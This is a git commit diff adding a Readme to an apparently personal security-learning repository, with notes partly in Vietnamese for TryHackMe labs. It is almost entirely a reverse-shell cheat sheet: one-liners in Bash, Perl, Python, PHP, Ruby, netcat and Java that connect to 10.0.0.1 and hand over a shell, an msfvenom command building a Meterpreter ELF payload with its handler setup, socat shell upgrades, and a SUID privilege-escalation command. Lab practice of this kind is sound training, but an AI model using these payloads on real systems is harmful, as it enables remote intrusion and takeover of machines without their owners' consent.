mirror of
https://github.com/haudang217/LearningSecurity.git
synced 2026-02-04 23:59:09 +00:00
Add some tip
This commit is contained in:
parent
5eadf8100e
commit
45f8f8abf6
112
Tryhackme/Readme
112
Tryhackme/Readme
@ -1 +1,111 @@
|
||||
This only for study purpose.
|
||||
------------------------------------------------------------------
|
||||
- -
|
||||
- REVERSE-SHELL CHEAT SHEET (change IP and port when use) -
|
||||
- -
|
||||
------------------------------------------------------------------
|
||||
* Bash
|
||||
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
|
||||
|
||||
* Perl
|
||||
perl -e 'use Socket;$i="10.0.0.1";
|
||||
$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S
|
||||
,sockaddr_in($p,inet_aton($i))))
|
||||
{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh
|
||||
-i");};'
|
||||
|
||||
* Python
|
||||
python -c 'import
|
||||
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.
|
||||
connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
|
||||
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
|
||||
|
||||
* PHP
|
||||
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
|
||||
|
||||
* Ruby
|
||||
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i
|
||||
<&%d >&%d 2>&%d",f,f,f)'
|
||||
|
||||
* Netcat
|
||||
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
|
||||
|
||||
* Java
|
||||
r = Runtime.getRuntime()
|
||||
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while
|
||||
read line; do \$line 2>&5 >&5; done"] as String[])
|
||||
p.waitFor()
|
||||
------------------------------------------------------------------------------------------------------------------
|
||||
|
||||
TẠO RA MỘT FILE REVERSE-SHELL DÙNG CHO LINUX DỰA TRÊN NỀN TẢN METASPLOIT
|
||||
|
||||
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.4.43.108 LPORT=9999 -f elf -o shell.elf
|
||||
Trong đó:
|
||||
• msfvenom: Tên câu lệnh
|
||||
• -p linux/x86/meterpreter/reverse_tcp: Dạng payload hay dạng kết nối sẽ sử dụng
|
||||
• LHOST và LPORT: Địa chỉ IP và port dùng để nhận shell trên máy Kali của hacker
|
||||
• -f: Format của dữ liệu đầu ra. Ở đây chọn elf là extension file thực thi của Linux.
|
||||
• -o: Xuất ra file có tên là shell.elf
|
||||
|
||||
Sử dụng module "exploit/multi/handler"
|
||||
set LHOST <IP của bạn>
|
||||
set LPORT <Port đã dùng trong command msfvenom bên trên>
|
||||
set PAYLOAD linux/x86/meterpreter/reverse_tcp
|
||||
exploit
|
||||
|
||||
Sử dụng local_exploit_suggester để tiến hành tìm kiếm lỗ hỗng khi có được reverse_shell.
|
||||
|
||||
|
||||
-------------------------------------------------------------------------------------------------------------------
|
||||
|
||||
TẠO RA MỘT WEBSERVER SỬ DỤNG PYTHON
|
||||
|
||||
Python cung cấp module SimpleHTTPServer để biến directory hiện tại thành một webserver cho phép trao đổi file với địa chỉ IP của của máy.
|
||||
• python2
|
||||
python -m SimpleHTTPServer <port_number>
|
||||
• python3
|
||||
python3 -m http.server <port_number>
|
||||
******* Port mặc định nếu không được khai báo là 8000 ******
|
||||
|
||||
--------------------------------------------------------------------------------------------------------------------
|
||||
|
||||
UPGRADING SIMPLE SHELLS TO FULLY INTERACTIVE TTYs
|
||||
|
||||
• using python
|
||||
python -c 'import pty; pty.spawn("/bin/bash")'
|
||||
• using socat
|
||||
#Listener:
|
||||
socat file:`tty`,raw,echo=0 tcp-listen:4444
|
||||
#Victim:
|
||||
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
|
||||
• using stty options
|
||||
# In reverse shell
|
||||
$ python -c 'import pty; pty.spawn("/bin/bash")'
|
||||
Ctrl-Z
|
||||
|
||||
# In Kali
|
||||
$ stty raw -echo
|
||||
$ fg
|
||||
|
||||
# In reverse shell
|
||||
$ reset
|
||||
$ export SHELL=bash
|
||||
$ export TERM=xterm-256color
|
||||
$ stty rows <num> columns <cols>
|
||||
|
||||
----------------------------------------------------------------------------------------------------------------------
|
||||
|
||||
Tìm một ứng dụng đạng chạy với SUID
|
||||
find / -perm -u=s -type f 2>/dev/null
|
||||
Khai thác lỗi với SUID thông qua python
|
||||
/usr/bin/python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
|
||||
Tìm nhiều hơn tại link sau: https://gtfobins.github.io/
|
||||
|
||||
-----------------------------------------------------------------------------------------------------------------------
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user